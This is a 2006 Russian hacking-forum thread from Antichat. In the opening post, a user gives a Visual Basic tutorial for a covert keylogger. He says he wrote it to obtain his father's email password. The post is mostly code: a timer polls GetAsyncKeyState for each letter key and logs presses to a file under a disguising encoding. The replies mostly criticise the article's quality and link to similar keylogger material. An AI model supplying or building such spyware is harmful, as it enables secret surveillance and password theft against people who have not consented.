ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Перехват клавиш вне программы в Vb
  #1  
Старый 08.07.2006, 23:27
Аватар для 0pen-5ource
0pen-5ource
Новичок
Регистрация: 08.07.2006
Сообщений: 2
Провел на форуме:
9979

Репутация: 3
По умолчанию Перехват клавиш вне программы в Vb

Может кому пригодится..

Жил я был кароче.. и вдруг смотрю.. Низнаю пароля от батиного мыла.. надо получить.. каким способом?? Нет, не выпрашивал, не умолял на коленях.. решил написать шпион..

Открываем VB, выносим на форму Timer и ставим ему Interval 100, почему именно 100.. Мы пропишем в таймере перехват и запись в файл, клавишы, даже со 100 иногда может случайно запсиаться 2 раза одна и та же клавиша, если поставить Interval меньше то запишется не раз и не два а раз 7.. ну кароче более менее понятно..

Начнём код:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Это вписываем в самом начале.. всем я думаю понятно что сдесь делается ;D "Инклудим" функцию GetAsyncKeyState из библиотеки user32.dll..
Ловить нажатые будем примерно так:

If GetAsyncKeyState(Константа) then
действие
действие
действие
...
End If

Значит нужно обозначить константы.. допустим мы берём буквы..
!!!(В API справочнике нет кодов букв..)!!!

Обьявляем константы сразу после инклудинга функции следующим кодом:

Const VK_Q = &H51
Const VK_W = &H57
Const VK_E = &H45
Const VK_R = &H52
Const VK_T = &H54
Const VK_Y = &H59
Const VK_U = &H55
Const VK_I = &H49
Const VK_O = &H4F
Const VK_P = &H50
Const VK_A = &H41
Const VK_S = &H53
Const VK_D = &H44
Const VK_F = &H46
Const VK_G = &H47
Const VK_H = &H48
Const VK_J = &H4A
Const VK_K = &H4B
Const VK_L = &H4C
Const VK_Z = &H5A
Const VK_X = &H58
Const VK_C = &H43
Const VK_V = &H56
Const VK_B = &H42
Const VK_N = &H4E
Const VK_M = &H4D

Теперь остаётся самое простое.. использовать то что я писал выше..
Я покажу пример как написано у меня в шпионе..

If GetAsyncKeyState(VK_B) Then
Write #1, 66, Int(Rnd * 9)
Call pluss
End If

Действие произведено со знаком 'B' Вторая строка записывает знак в файл под тупой шифровкой придуманой мною для отвода глаз, что-бы никто случайно не напоролся на открытые знаки.. упсть пасут цифры.. шифровка пишет ASCII код знака, запятую и случайное число от 0 до 9..
потом вызывается функция pluss, у меня эта функция прибавляет один знак к значению общей суммы записанных символов(это так.. от нефиг делать.. )..
ну и закрытие..

Примерный код:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

'// константы
Const VK_Q = &H51
Const VK_W = &H57
Const VK_E = &H45
Const VK_R = &H52
Const VK_T = &H54
Const VK_Y = &H59
Const VK_U = &H55
Const VK_I = &H49
Const VK_O = &H4F
Const VK_P = &H50
Const VK_A = &H41
Const VK_S = &H53
Const VK_D = &H44
Const VK_F = &H46
Const VK_G = &H47
Const VK_H = &H48
Const VK_J = &H4A
Const VK_K = &H4B
Const VK_L = &H4C
Const VK_Z = &H5A
Const VK_X = &H58
Const VK_C = &H43
Const VK_V = &H56
Const VK_B = &H42
Const VK_N = &H4E
Const VK_M = &H4D


Private Sub Timer1_Timer()

If GetAsyncKeyState(VK_A) Then
'действие
End If

If GetAsyncKeyState(VK_B) Then
'действие
End If

If GetAsyncKeyState(VK_C) Then
'действие
End If

If GetAsyncKeyState(VK_D) Then
'действие
End If

If GetAsyncKeyState(VK_E) Then
'действие
End If

If GetAsyncKeyState(VK_F) Then
'действие
End If

If GetAsyncKeyState(VK_G) Then
'действие
End If

If GetAsyncKeyState(VK_H) Then
'действие
End If

If GetAsyncKeyState(VK_I) Then
'действие
End If

If GetAsyncKeyState(VK_J) Then
'действие
End If

If GetAsyncKeyState(VK_K) Then
'действие
End If

If GetAsyncKeyState(VK_L) Then
'действие
End If

If GetAsyncKeyState(VK_M) Then
'действие
End If

If GetAsyncKeyState(VK_N) Then
'действие
End If

' с остольными также..
End Sub

Ах да.. такой-же способ можно использовать для горячих клавиш.. допустим если надо при нажатии Ctrl+F открыть прогу.. или ещё чё..

Ну вот в кратце и всё, похожим способом можно отслеживать и мышь, если будете псиать всё в файл не забудте открыть его.. ;D пока!
 
Ответить с цитированием

  #2  
Старый 09.07.2006, 13:05
Аватар для bul.666
bul.666
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705

Репутация: 1403


Отправить сообщение для bul.666 с помощью ICQ
По умолчанию

Есть куча таких прог... Во вторых статья оформлена ужасно!!!

Тебе сюда <http://forum.antichat.ru/thread21288.html>
 
Ответить с цитированием

  #3  
Старый 29.07.2006, 04:40
Аватар для [loy]
[loy]
Участник форума
Регистрация: 24.03.2006
Сообщений: 184
Провел на форуме:
344009

Репутация: 72
По умолчанию

так как расшифруецоо vb Visual Basic
так что будет у тебе перехват Visual Визуальным
 
Ответить с цитированием

  #4  
Старый 16.08.2006, 06:09
Аватар для je0n
je0n
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521

Репутация: 272
Отправить сообщение для je0n с помощью ICQ
По умолчанию

лучше вот эту статью. На эту же тему:
http://je0n.narod.ru/articles/keylog.rar
 
Ответить с цитированием

  #5  
Старый 16.08.2006, 08:53
Аватар для MINDFLY
MINDFLY
Banned
Регистрация: 18.06.2006
Сообщений: 38
Провел на форуме:
176960

Репутация: -10
По умолчанию

Ты шо так гнать ? Ишь ты ? Ты понял ! "Пароль батиного мыла понимаешь !" статью через spell checker прогони !
 
Ответить с цитированием

  #6  
Старый 16.08.2006, 20:04
Аватар для =Be$=
=Be$=
Постоянный
Регистрация: 21.01.2006
Сообщений: 310
Провел на форуме:
1675027

Репутация: 237
Отправить сообщение для =Be$= с помощью ICQ
По умолчанию

мда... Статья не супер.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Работа с Проксями. Программы. Проблемы. Советы. Мнения. _lolik_ Анонимность 113 31.12.2007 22:20
Перехват клавиш с сервера. {Delphi 5} D1mOn С/С++, C#, Delphi, .NET, Asm 2 25.02.2006 12:07
Заключение эксперта .PurGeN. Чужие Статьи 2 02.08.2005 04:03
Перехват cookie php скриптом Майор PHP, PERL, MySQL, JavaScript 10 01.04.2005 18:35



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ